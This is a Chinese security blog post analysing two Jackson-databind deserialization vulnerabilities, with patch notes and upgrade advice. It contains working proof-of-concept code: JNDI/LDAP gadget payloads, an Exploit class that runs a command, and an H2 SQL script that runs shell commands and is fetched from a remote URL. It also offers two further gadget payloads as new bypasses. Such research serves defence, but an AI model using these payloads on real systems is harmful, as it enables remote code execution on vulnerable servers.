Jackson-databind漏洞两则分析

文章前言

本篇文章将对CVE-2020-36189(Jackson-databind SSRF&RCE)漏洞和CVE-2020-36186(jackson-databind RCE)漏洞进行浅析,同时将在文末给出两则新的Gadget !!!

CVE-2020-36186

影响范围

Jackson-databind < 2.9.10.7

利用条件

  • 开启enableDefaultTyping()
  • 使用了commons-dbcp第三方依赖库

漏洞概述

org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成RCE。

漏洞复现

pom.xml如下:

<dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/tomcat/naming-factory-dbcp -->
        <dependency>
            <groupId>tomcat</groupId>
            <artifactId>naming-factory-dbcp</artifactId>
            <version>5.5.23</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
    </dependencies>

漏洞利用

这里使用LDAP的利用方式进行漏洞的利用演示,RMI的方式也是类似的,且RMI比LDAP要对JDK版本有很大的局限性~
LDAP利用方式:jdk版本:JDK 11.0.1、8u191、7u201、6u211之前,笔者这里采用JDK 1.8.0_181
Step 1:编译Exploit.java
Exploit.java代码如下:

import java.lang.Runtime;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编译Exploit.java文件:

Step 2:搭建HTTP服务
使用Python搭建简易SimpleHTTPServer服务:

python -m  SimpleHTTPServer 4444


Step 3:搭建LDAP服务
使用marshalsec来启动一个LDAP服务:

Step 4:执行漏洞POC
Poc.java代码如下所示:

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource\", {\"dataSourceName\":\"ldap://127.0.0.1:1288/Exploit\"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);

    }
}

之后运行该程序,成功执行命令:

漏洞分析

PerUserPoolDataSource类继承自InstanceKeyDataSource:

InstanceKeyDataSource类中存在一处JNDI注入:

testCPDS在PerUserPoolDataSource类的registerPool中被调用:

registerPool在getPooledConnectionAndInfo中被调用:

所以可以构造以下Gadget:

PerUserPoolDataSource
    ->InstanceKeyDataSource.setDataSourceName
        ->PerUserPoolDataSource.getPooledConnectionAndInfo
            ->PerUserPoolDataSource.registerPool
                ->PerUserPoolDataSource.testCPDS
                    ->lookup

补丁分析

官方对于此漏洞的修复方案是将org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource加入黑名单中,但是这种修复方案只能一时间缓解,因为难免会出现其他黑名单绕过方案:
https://github.com/FasterXML/jackson-databind/commit/3e8fa3beea49ea62109df9e643c9cb678dabdde1

可以看到的是这里还有另一个类——"org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource",该类的利用方法与上述方法类似,不再赘述

安全建议

  • 及时将jackson-databind升级到安全版本(>=2.9.10.7)
  • 升级到较高版本的JDK

CVE-2020-36189

影响范围

Jackson-databind < 2.9.10.7

利用条件

  • 开启enableDefaultTyping()
  • 使用了com.h2database\com.newrelic.agent.java第三方依赖库

漏洞概述

com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成SSRF&RCE。

漏洞复现

pom.xml

<dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.newrelic.agent.java/newrelic-agent -->
        <dependency>
            <groupId>com.newrelic.agent.java</groupId>
            <artifactId>newrelic-agent</artifactId>
            <version>4.9.0</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <version>1.4.199</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
    </dependencies>

Step 1:构造exec.sql

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')

Step 2:简易web服务

python2 -m simpleHTTPServer 4444


Step 3:执行漏洞POC1(SSRF)
poc.java代码如下所示:

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://6vrdsp.dnslog.cn/exec.sql'\"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);

    }
}


dnslog平台结果:

Step 4:执行漏洞POC2(RCE)
Poc.java代码如下所示:

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:4444/exec.sql'\"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);

    }
}

之后运行该程序,成功执行命令

漏洞分析

com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类中提供了对url的set方法,可以通过反序列化进行赋值操作,同时在getConnection中通过DriverManager.getConnection()进行远程连接,参数url可控,从而可导致SSRF,当classpath中存在h2数据库时甚至可以导致RCE:

Gadget如下:

DriverManagerConnectionSource
    ->seturl
        ->getConnection
            ->DirverManager.getConnection(this.url)

补丁分析

官方将com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource加入黑名单中,但是这种修复方案只能一时间缓解,因为难免会出现其他黑名单绕过方案:

New Gadget

这里免费送出两个新的Gadget,有兴趣的可以试一下:
第一个:

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;

public class POC2 {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"shaded.com.github.susom.database.shaded.com.zaxxer.hikari.HikariDataSource\", {\"metricRegistry\": \"ldap://127.0.0.1:1288/Exploit\"}]";
        mapper.readValue(json, Object.class);
    }
}

第二个:

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;

public class POC2 {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"shaded.com.github.susom.database.shaded.com.zaxxer.hikari.HikariConfig\", {\"metricRegistry\": \"ldap://127.0.0.1:1288/Exploit\"}]";
        mapper.readValue(json, Object.class);
    }
}

官方新规

2020年12月30号,Jackson-databind官方表明由于之前对于黑名单更新的补丁过于频繁而且有大量的绕过是的版本的更新迭代过于频繁,加上申请CVE的流程使得整个维护变得更加繁琐,所以决定从2020年12月31号发布最后一个2.9.10.8版本之后将不再对此黑名单进行维护(除非有极其严重的问题发生),同时也不再给相关白帽子申请相关CVE编号,但是会继续接受有关Jackson-databind的黑名单类相关安全报告,更多细节可以参考以下连接:
https://github.com/FasterXML/jackson/wiki/Jackson-Polymorphic-Deserialization-CVE-Criteria

文末小结

上文中的两则漏洞作为一个抛砖引玉的作用可以引出更多的gadget,有兴趣的朋友可以翻翻jackson-databind的issue页面,会发现更多的精彩内容,同时欢迎大家一起来讨论研究Jackson-databind 2.10.x版本之后的最新Gadget~

参考链接

https://github.com/FasterXML/jackson-databind/issues/2997
https://github.com/FasterXML/jackson-databind/commit/3e8fa3beea49ea62109df9e643c9cb678dabdde1
https://github.com/FasterXML/jackson-databind/issues/2996
https://github.com/FasterXML/jackson-databind/commit/33d96c13fe18a2dad01b19ce195548c9acea9da4

本文来源于: https://xz.aliyun.com/t/9331

相关推荐

使用 CVE-2020-2555 攻击 Shiro

前言 前段时间项目上遇到一个部署在 Weblogic 上存在漏洞的 Shiro 应用,于是参照 Y4er 师傅的文章 《使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell》 的

【漏洞预警】ntopng 权限绕过与任意代码执行漏洞(CVE-2021-28073/CVE-2021-28074)

2021年3月24日,阿里云应急响应中心监测到国内某安全团队公开披露 ntopng 权限绕过与任意代码执行漏洞,其CVE号为 CVE-2021-28073、CVE-2021-28074。 漏洞描述 ntopng是一款基于Web的流量分析

【漏洞预警】Apache Druid 远程代码执行漏洞(CVE-2021-26919)

2021年3月30日,Apache Druid官方发布安全更新,修复了由蚂蚁安全非攻实验室 @fantasyC4t 上报的 CVE-2021-26919 Apache Druid 远程代码执行漏洞。 漏洞描述 Apache Druid

【漏洞预警】VMware vRealize Operations Manager SSRF与文件写入漏洞

2021年3月31日,阿里云应急响应中心监测到 VMware 官方发布安全公告,披露了CVE-2021-21975 VMware vRealize Operations Manager API SSRF 和 CVE-2021-21983 V

Internet Explorer漏洞分析(四)——CVE-2016-0199

0x01 漏洞信息 0x01.1 漏洞简述 编号:CVE-2016-0199 类型:类型混淆(Type Confusion) 漏洞影响:远程代码执行(RCE)/拒绝服务攻击 (DoS) CVSS 2.0:9.3 mshtml.dll组件在将

Apache OFBiz RMI反序列化远程代码执行漏洞(CVE-2021-26295)

Author: 析安实验室(ZionLab) 漏洞分析 官网获取最新版本 https://ofbiz.apache.org/download.html 发现新版本对 .\framework\base\src\main\java\org\ap

fofa爬虫 + 源码泄露PoC之梦幻联动(有福利)

写在前面 相信大家一定对源码泄露并不陌生,这里也不赘述这个漏洞的原理和危害了,网上一搜也都有好多好多,看都看不完~~~ 那今天这里我们讲啥呢?那就直入主题吧~今天这里我就贴出我自己参考的加上自己写的fofa爬虫 + 源码泄露PoC之梦幻联动

PHP的无参数RCE

PHP无参数RCE 因为先前只是参照大佬的payload解题,从未自己本地复现过,索性借复习的机会,在本地搭建并尝试。 题目: GXYCTF2019—禁止套娃 [极客大挑战 2020]Roamphp4-Rceme 限制条件: /[^\W]+

记某CMS漏洞getshell

记极致CMS漏洞getshell 今天下午比较空闲,就去搜索一些cms,突然对极致CMS感兴趣,而网上已经有一些文章对它进行分析利用,sql注入,xss,后台修改上传后缀名前台getshell等等。 于是就引起了我的兴趣想去测试一下。 信息

CVE-2016-0165 Win32k漏洞分析笔记

CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并

记一次无意的渗透测试

由于最近再写一个web漏洞扫描器,准备在fofa上找网站测试的时候,无意间看到了个标题,xx系统, 点进去一看,好家伙,这不就是我很收悉的,那个xxcms嘛(具体的忘记了) 正好通过这个网站的cms漏洞,测试下我的扫描器,结果,好家伙,